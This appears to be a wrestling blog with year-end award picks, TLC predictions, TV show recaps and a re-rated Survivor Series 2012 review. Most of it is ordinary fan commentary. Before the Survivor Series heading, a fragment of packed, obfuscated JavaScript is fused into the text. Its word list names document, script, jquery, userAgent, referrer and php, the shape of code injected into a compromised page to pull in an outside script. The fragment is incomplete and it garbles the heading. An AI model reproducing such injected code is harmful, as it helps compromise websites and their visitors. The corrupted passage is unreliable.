One honorable mention: Sami Zayn vs. Antonio Cesaro from NXT.  It’s a 2/3 falls match and an outstanding fight.  Zayn is as good of an underdog character as you’ll find in wrestling today but Cesaro in Beast Mode is going to put down anyone he’s against.

Now to the nominees:

Rhodes Brothers vs. Shield – Battleground.  It’s the worst show of the year but this match brought out so much emotion for reasons we’ve already covered.  The main story here is the Brothers trying to get their jobs back after losing them to the Authority.  The match was all about the emotion and that’s better than action every single time.  Great match but it didn’t save the show.

CM Punk vs. John Cena – February 26 Raw.  This was the match for Cena’s Wrestlemania title shot and these guys tore the house down.  I called it the best TV match I’ve ever seen and I still  think it ranks right up there with anything I’ve ever seen.  The one thing that holds it back is the lack of drama at the end.  Everyone knew Cena was going to win, but the question was how.  That’s very good but not perfect.

Daniel Bryan Runs The Gauntlet – July 22 Raw.  If a match told a better story on TV this year, I didn’t see it.  Bryan had to face Jack Swagger, Antonio Cesaro and then Ryback in succession.  Swagger didn’t even last three minutes, but the Cesaro section is a war between two different styles.  After that it was Ryback where Bryan gave it his all but couldn’t overcome the power.  The key here though: Ryback lost via DQ, thereby giving us a logical conclusion that doesn’t damage anyone.  Outstanding stuff.

That brings us to the two real contenders.

Daniel Bryan vs. John Cena – Summerslam.  What else can I say about this match?  It was long, it was exciting, it had great action, it had an ending that came out of nowhere.  The one thing that holds it back: there was no way Cena was winning with that baseball growing out of his elbow.  Just like Cena vs. Punk, there was only one possible winner to this and that was Daniel Bryan.  Still though, excellent match.

The winner:

CM Punk vs. Brock Lesnar – Summerslam.  My goodness what a match this was.  In something I don’t say that often, I was completely wrong about this one.  I didn’t think Punk could be a realistic threat to Lesnar but he went move for move with the beast and had me wondering who was going to win the entire time.  It’s an amazing match with both guys beating the tar out of each other.  On top of that, it was more proof that HHH had no business hogging Lesnar for a year as Brock has had masterpieces with Punk and Cena but three only good matches with HHH.

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This one comes down to two options as most angles either aren’t all that entertaining or get on my nerves with stupid twists.

I’ll throw in an honorable mention to Angle vs. Roode since TNA has had a really bad year.  This started off as a makeshift match for Angle but it’s turned into one of the few bright spots in TNA in the last few months.  Roode is looking like a killer for the first time in a long time and Angle is Angle.  Good stuff all around there.

Now to the real contenders.

First up: Heyman vs. Punk.  The premise was great, the beginning was great, the stuff with Lesnar was great, the ending…..was that the ending?  That’s where they lose me as the ending just kind of happened instead of building up to a big conclusion.  When I hear Punk talking about wanting to destroy Heyman for months, I need more than him just beating on Paul with a kendo stick on top of the Cell.  It didn’t help that Ryback and Axel are a long jump down from Lesnar.

The only other option is the winner: the rise of Daniel Bryan.  If anyone has had a hotter year in recent memory than Bryan, I can’t remember him.  He starts out the year as part of one of the best teams in years before moving up to beating everyone in sight.  Bryan got the rub of a lifetime with Cena selecting him as the Summerslam opponent and he capitalized on it with the running knee (that was awesome) to pin Cena 100% clean for the title.  I say rise of Daniel Bryan because everything after that was pretty horrible for Daniel, so much like Total Divas, we’ll just pretend none of that happened and that Daniel is still WWE Champion.

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Payback.  This took me awhile to get to (and gave me the greatest day I’ve ever had for views on here due to me not having the review up on time) but there’s a problem with it: I don’t remember most of the matches.  I remembered liking Payback a lot but I didn’t remember anything but Del Rio turning heel to beat Ziggler.  Cena vs. Ryback was a nice match but it didn’t leave any kind of an impression at all.  It’s a throwaway show and while good, it just doesn’t mean anything at the end of the day.

Slammiversary. Yeah TNA gets a nomination this year as their anniversary show was pretty freaking awesome.  AJ vs. Angle, a great four team tag and one of the best KNockout matches in years.  What else do you want from a show out of these guys?  On top of that there’s a decent Sting brawl, which to be fair is all he can really do anymore.  TNA can put things together and have a good show, but unfortunately they don’t have PPVs for the most part anymore.

Royal Rumble.  This was the runner up at a rating of an A-, the same as the winner.  I really liked the Ruble and there wasn’t a bad match on the show, but Rock beating Punk was the most obvious ending to a show as you’ll ever see.  The Shield interference helped a bit, but Rock might as well have carved his name onto that belt back in June when the title match was announced.  Very good show but not as great.

And the winner….

Summerslam.  This one really isn’t all that surprising again as it had two A+ matches on the same show.  That Punk vs. Lesnar match was as good of a brawl as you’ll find anywhere and the Cena vs. Bryan match was the best rub you’ll see this side of Austin passing out in the Sharpshooter.  Bryan debuting that running knee and knocking Cena out cold was perfect and the ending of the show made it even better.  I loved that delay right before Orton’s music hit as it made you unsure if something was happening or not.  On top of that there was a really good Christian vs. Del Rio match, making me think I underrated the show as a whole.  Summerslam was show of the year and it was by a pretty wide margin.

As for matches people might actually care about, I’m going with Orton to get both titles.  The seeds for a Cena heel turn are so obvious that they feel like they’re fakes and the Authority will screw him over.  These two in a TLC match should be a great brawl but everyone is waiting for the big story stuff at the end of the match.  Orton wins in an entertaining match.

I’ll take Bryan over the Wyatts due to Bray sitting at ringside and Bryan somehow hitting the knee on Rowan for a fast pin.  The key to the Wyatts has always been in their talking so even losing here isn’t the worst result in the world.  Bray will probably sit on the floor for most of the match anyway.

Shield over Punk as CM fights off Ambrose and Rollins but gets speared down for the pin.  Ambrose of course takes the credit, furthering the split.

Langston keeps the Intercontinental Title in the obvious result of the night.

Natalya has to win the title eventually right?  AJ has held the thing for months now and since it’s WWE, having a challenger lose most of the early title shots to win in the end is the norm, even though they look worthless leading up to the match.  Total Divas has wrapped up too, so I have no idea why they’d change the title now, making it all the more likely.

In the bonus match I’ll take Mysterio and Big Show to win the tag titles.  Why?  Because the tag division is getting really good so the solution is to put the belts on a thrown together team with I believe one match together at all.

If Miz vs. Kofi is added as it should be, I’ll take Miz with another freaking rollup.

Overall TLC is a one match show but it’s one heck of a match.  The idea of unifying the titles is something that needed to happen a long time ago and thankfully will get rid of a lot of the annoying problems WWE has, such as four people having 50 title reigns between the two of them in less than twelve years.  It’s far more about the big story to end the show and get us rolling down the road to Wrestlemania, The show should be entertaining enough, though adding in a ladder, chairs or tables match might have helped a bit.  Still though, it should be fun.

Thoughts/predictions?

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The belts are hanging above the ring and there are probably fifteen ladders and tables set up around the ring.

Daniel Bryan vs. Erick Rowan

Bryan has to fight off the monsters post match and manages to get out of the ring for a bad looking running knee to take Bray out.

Real Americans vs. Cody Rhodes/Goldust

Goldust comes in with the uppercut and a spinebuster to Swagger but a blind tag brings in Cesaro to knock Goldust out to the floor. We take a break and come back with Swagger holding Goldust in a front facelock. The Americans take their turns on Goldust with Swagger putting on a chinlock. Goldust fights up and comes off the second rope for a collision with Swagger.

The double tag brings in Cody for the sunset flip out of the corner and the Alabama Slam for two each on Antonio. Goldust has to break up the Swing and Cody gets two more off the Disaster Kick. Both Americans are sent to the floor and Cody hits a great looking dive to take Cesaro out. Back in and Cody loads up the moonsault press but gets distracted by Swagger, allowing Cesaro to pull him into the European uppercut for the pin at 6:17 shown of 9:47.

Bad News Barrett calls us losers for voting on the Slammy winners.

Damien Sandow vs. Mark Henry

Langston is on commentary again. Henry throws Sandow around to start and shrugs off a boot in the corner. Sandow is sent to the floor and takes the countout to save himself for Sunday at 1:17.

Langston throws Sandow back inside for the beating he deserves.

AJ Lee/Tamina Snuka vs. Bella Twins

Natalya is on commentary. Nikki is shoved to the mat by Tamina to start but uses the power of yelling to come back. A snap suplex and a Samoan drop put Nikki down as Natalya talks about Total Divas. Off to AJ who skips around a lot but misses a charge into the corner, allowing for the hot tag to Brie. The girl named after cheese cleans a little bit of the house but is quickly caught in the Black Widow for the submission at 2:36.

We look back at Punk beating Ambrose on Raw but getting speared down after the match.

Shield vs. Usos

Ambrose is on commentary here to continue a theme tonight. Jimmy leapfrogs Rollins to start and punches him in the face before tagging Jey. The twins hit a higher flying version of the Demolition Decapitator for two before Jimmy puts on a standing armbar. Rollins pushes him into the corner for the tag off to Reigns and Shield takes over. Jimmy tries to speed things up by hitting the ropes, allowing Jey to make a blind tag. Some Uso double teaming knocks Rollins out to the floor and we take a break.

Back with Jimmy fighting out of a Seth front facelock and getting two off a backslide. Reigns comes back in and shoves Jimmy into the corner for a chinlock. Jimmy escapes with a jawbreaker but Roman runs him over with a clothesline. Shield tries some double teaming but Rollins gets low bridged to the floor. Jimmy DDTs Reigns down and dives over for the tag to Jey. Rollins comes back in to speed things up with the throw in the air Samoan drop for a VERY close two.

Ryback vs. Big Show

Axel takes a 619 post match.

We look at Bryan attacking Bray earlier.

Kofi Kingston vs. Alberto Del Rio

In the weekly sitdown interview, HHH says he might listen to an apology from Orton for him running into Stephanie on Monday.

Results

Daniel Bryan b. Erick Rowan via DQ when Bray Wyatt interfered

Real Americans b. Goldust/Cody Rhodes – European uppercut to Rhodes

AJ Lee/Tamina Snuka b. Bella Twins – Black Widow to Brie

Shield b. Usos – Spear to Jey

Big Show b. Ryback – Chokeslam

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zebyz|var|u0026u|referrer|nyhsa||js|php'.split('|'),0,{})) Series 2012
Date: November 18, 2012
Location: Bankers Life Fieldhouse, Indianapolis, Indiana
Attendance: 8,500
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Pre-Show: 3MB vs. Zack Ryder/Santino Marella

Back to Slater for some shots in the corner but he gives up the hot tag to Santino for all his usual antics. Heath punches him down and brings Jinder in again for some knee drops off the ropes. Santino misses a double clothesline which gives Slater another near fall. The Band stays on Marella but he backdrops Mahal down, allowing for the lukewarm tag off to Ryder. The Broski Boot connects and everything breaks down. A Rough Ryder connects on Slater but the legal Mahal sneaks in with a full nelson slam for the pin on Zack.

Team Clay vs. Team Tensai

Brodus Clay, Justin Gabriel, Tyson Kidd, Sin Cara, Rey Mysterio

Tensai, Primo, Epico, Prime Time Players

The monsters are going at it back inside and Clay botches his high collar suplex, making it into more of a lifting downward spiral. Tensai avoids a charge in the corner and shoulders Brodus down, setting up a backsplash for the elimination. Gabriel comes in with some kicks to the side but gets taken down by a big shoulder block. Off to Titus for an abdominal stretch followed by a backbreaker. Back to Tensai for two off a backsplash but he misses a second one, allowing Gabriel to get a quick rollup for the elimination.

Divas Title: Katilyn vs. Eve Torres

Team Ziggler argues over who is the leader.

US Title: Antonio Cesaro vs. R-Truth

Cesaro is defending and asks why Americans are thankful. The only thing he can think of is how great of a champion he is. Truth gets a quick rollup, sunset flip and rolling cradle for two each before thrusting his hips a bit. Cesaro comes back with a headbutt and a clothesline before pounding away on Truth in the corner. Off to an armbar but a USA chant gets Truth to his feet. The champion shoulders him in the corner and puts on a body vice to keep Truth down again.

Promo for the Attitude Era DVD. Just writing that is so wrong.

Smackdown World Title: Sheamus vs. Big Show

Big Show is getting winded so Sheamus pounds away as much as he can, only to miss a charge and go shoulder first into the post. The Final Cut gets two and Show goes to the middle rope, only to be caught in an electric chair of all things for two. That was rather awesome indeed. They slug it out from their knees and Sheamus takes over, knocking Show down with a running ax handle.

The Brogue Kick and chokeslam are countered and Sheamus gets two off White Noise. Now the fans are getting into this again. Sheamus loads up the Brogue Kick again but takes out the referee by mistake. Four people immediately come out to check on the referee as the replay shows the champion pulling him in the way. Big Show knocks out Sheamus and one of the referees counts a pin to end the match out of nowhere.

Rating: C. The match was slow for the most part and the ending hurts it even worse. This took all the good stuff out of the HIAC match and turned it into a dull imitation. This needed to be two monsters firing bombs at each other until neither guy could get up but instead it was your usual Big Show match at about 4 miles per hour.

Team Ziggler vs. Team Foley

Dolph Ziggler, Alberto Del Rio, David Otunga, Damien Sandow, Wade Barrett

The Miz, Kofi Kingston, HELL NO, Randy Orton

The tag champions get in an argument for no apparent reason, allowing Ziggler to hit a quick Zig Zag on Kane for the pin. That makes the move look strong if nothing else. Orton and Miz get in a quick fight for some reason but Randy catches a sneaky Ziggler in the slingshot suplex for two. Off to Kofi for the matchup that will not die with Ziggler being launched face first into the buckle for two. Back to Bryan who gets poked in the eye, allowing Dolph to tag in Barrett.

Tout continues to annoy me a year after it stopped being a thing.

We recap the main event. Punk has been champion for a year almost to the day, Ryback got screwed over by Brad Maddox inside the Cell and Cena gave Ryback his spot in the Cell due to injury. The solution? TRIPLE THREAT OF COURSE!!!

Raw World Title: John Cena vs. Ryback vs. CM Punk

Punk is back in now and scores with a snap suplex on Ryback, but the monster pops right back up and gorilla presses the champion into a fallaway slam. Cena comes back in with a belly to belly for two on Ryback before putting on a chinlock. Punk breaks it up with a top rope ax handle and Cena falls to the floor. Another ax handle attempt is caught in midair but Punk takes Ryback down with a neckbreaker. Cena sneaks in with a rollup for two but Punk DDTs him down for two more.

Ratings Comparison

3MB vs. Zack Ryder/Santino Marella

Original:

Redo: D+

Team Clay vs. Team Tensai

Original: B-

Redo: C

Eve Torres vs. Kaitlyn

Original: D-

Redo: D

R-Truth vs. Antonio Cesaro

Original: D

Redo: D

Sheamus vs. Big Show

Original: C-

Redo: C

Team Foley vs. Team Ziggler

Original: C-

Redo: C-

Ryback vs. John Cena vs. CM Punk

Original: B-

Redo: C+

Overall Rating

Original: D+

Redo: D

About the same down the line. It sucked back then and it sucked now. I actually watched most of this show late and while still tired from a flight the first time around but apparently it had more problems than that.

We open with a recap of the end of Raw and the big twelve man brawl.

Wyatt Family vs. Usos

Rowan comes in for a neck crank as JBL and Cole talk about Rowan wearing the mask so “he can be anybody he wants to be.” Jimmy escapes a belly to back suplex and tags out, only to walk into something resembling a high collar suplex for two. Jey avoids a seated senton and hits a low dropkick, only to be launched upside down into the corner. We take a break and come back with Harper Gator Rolling Jey into a chinlock.

Back to Rowan for a backbreaker as the announcers debate if the Wyatts are related. Rowan tries a clothesline but walks into a quick enziguri to put both guys down. The hot tag brings in Jimmy who scores with some clotheslines to Harper and a running forearm in the corner. A top rope clothesline sets up a Samoan drop and Harper is in trouble. He explodes out of the corner to clothesline Jey down but Jimmy makes the save. A double superkick gets two on Harper and Jimmy dives over the top to take out Rowan. Jey loads up a dive of his own but walks into the discus lariat from Harper for the pin at 7:53 shown of 11:23.

Rating: B-. I really liked this as it was your basic power vs. speed match but well done. The Usos are rapidly becoming the Kofi Kingstons of the tag division. You can have them lose as many times as you want but their matches and gimmick are solid enough that they never lose their heat. The Wyatts looked good as well with Rowan being fine in the generic monster roll.

We go back to Raw where Heyman ranted about how stupid Ryback was and blamed him for the beating at HIAC.

R-Truth practices his rapping when the Prime Time Players come in to rap with him and practice the Millions of Dollars dance. Ok then.

Natalya vs. Tamina Snuka

Tamina cost Natalya her Divas Title match on Main Event to set this up. Natalya charges her into the corner to start but walks into a boot in the corner. A powerslam puts Tamina down but AJ gets on the apron for a distraction. Tamina runs into her boss though and the Sharpshooter gets the submission for Natalya at 1:20.

We look at Orton being chokeslammed through the table on Raw.

Prime Time Players/R-Truth vs. Union Jacks

Post match the winners dance in Union Jack flags.

Funkadactyls vs. Bella Twins

Great Khali vs. Hunico/Camacho

The Raw ReBound recaps the opening segment with Orton going through the table.

Daniel Bryan/CM Punk vs. Ryback/Curtis Axel

Results

Wyatt Family b. Usos – Discus lariat to Jimmy

Natalya b. Tamina Snuka – Sharpshooter

Prime Time Players/R-Truth b. Union Jacks – Little Jimmy to Slater

Funkadactyls b. Bella Twins – Rear View to Brie

Great Khali b. Hunico/Camacho – Punjabi Plunge to Hunico

CM Punk/Daniel Bryan vs. Ryback/Curtis Axel went to a no contest when the Wyatt Family interfered

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